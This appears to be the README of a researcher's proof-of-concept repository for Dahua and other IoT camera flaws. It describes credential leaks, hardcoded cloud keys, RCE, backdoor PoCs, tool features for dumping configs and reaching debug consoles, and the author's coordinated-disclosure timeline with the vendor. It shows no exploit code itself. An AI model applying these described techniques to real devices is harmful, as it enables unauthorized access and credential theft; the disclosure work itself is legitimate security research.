misc PoC - Internet of (In)Security Things
Well worth to read about these crappy (in)security things: https://ipvm.com/reports/security-exploits

- Dahua DES/3DES (broken) authentication implementation and PSK
- Vulnerability: Dahua NetSDK leaking credentials (first 8 chars) from all clients in REALM request when using DVRIP and DHP2P protocol
- PoC: Added simple TCP/37777 DVRIP listener to display decrypted credentials in clear text
- Vulnerability: Dahua DHP2P Cloud protocol credentials leakage
- Vulnerability: Hardcoded DHP2P Cloud keys/passwords for 23 different providers
- PoC: Access to devices within DHP2P Cloud. PoC only made for Dahua IMOU

- Added option 'setDebug', Should start produce output from Debug Console in VTO/VTH
- Added '--discover', Multicast search of devices or direct probe (--rhost 192.168.57.20) of device via UDP/37810
- Added '--dump {config,service}' for dumping config or services on remote host w/o entering Debug Console

Contact established during this week with Dahua PSIRT, details, PoC and proof for 23 different cloud suppliers has been provided. I will also follow the new trial of Google Zero 'Policy and Disclosure: 2020 Edition' (as it make sense to me), meaning I will publish after 90 days, regardless if Dahua would release updates before or after 09.05.2020 19:00 UTC (May 9, 2020 19:00 UTC).
Dahua, please fix and make updates available before this date...

I've just disclosed creadentials leaks (ending up in clear text) from Dahua SDK to Dahua PSIRT, let see how they will take this information. Pretty bad when there is +20 different cloud providers involved... 90 days ticking from today.

New repository created where I plan to push some tools.
First out: Dahua-JSON-Debug-Console-v2.py
- Ported to Python 3
- Fixed some bugs and code adjustment
- Added support for DVRIP (TCP/37777) [Note: Some JSON commands that working with DHIP return nothing with DVRIP]
- encode/decode in latin-1, we might need untouched chars between 0x00 - 0xff
- Better 'debug' with hexdump as option

Multiple Stack Overflow, RCE, disclosure username/password in clear text and more

This script will use Dahua 'DHIP' P2P binary protocol, that works on normal HTTP/HTTPS ports and TCP/5000
Will attach to Dahua devices internal 'Debug Console' using JSON (same type as the former debug on TCP/6789)

Have fun, bashis

Greetings, long time and no publish ...
I am still around and doing my research, but the news is that I also try to work with VDOO (https://www.vdoo.com/) for vendor management, and this has unfortunately delayed my Full Disclosure process somewhat ...
Anyway, several interesting researches coming up as Full Disclosure here on my GitHub.
With the collaboration with VDOO I can work with that I like to do, and not waste time with the vendors who do (not want | don't understand | want to ignore | want to delay | whatever).
The latest are some Reolink (https://reolink.com/) stuff, which you will find here: https://www.vdoo.com/blog/working-with-the-community-%E2%80%93-significant-vulnerabilities-in-reolink-cameras/.

Public rerelease of Dahua Backdoor PoC https://github.com/mcw0/PoC/blob/master/dahua-backdoor-PoC.py
2017-03-20
With my newfound knowledge of vulnerable devices out there with an unbelievable number of more than 1 million Dahua / OEM units, where knowledge comes from a report made by NSFOCUS and my own research on shodan.io.
With this knowledge, I will not release the Python PoC to the public as before said of April 5, as it is not necessary when the PoC has already been verified by IPVM and other independent security researchers.
However, I'm open to share the PoC with serious security researchers if so desired, please e-mail me off list and be clear about who you are so I do not take you for a beggar, which I ignore.
